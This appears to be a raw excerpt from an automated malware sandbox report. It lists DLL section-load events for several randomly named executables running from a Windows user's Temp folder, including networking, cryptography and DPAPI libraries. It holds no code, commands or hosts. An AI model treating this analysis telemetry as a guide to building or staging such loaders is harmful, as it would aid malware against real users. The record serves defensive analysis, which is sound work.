Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe	Section loaded: napinsp.dll
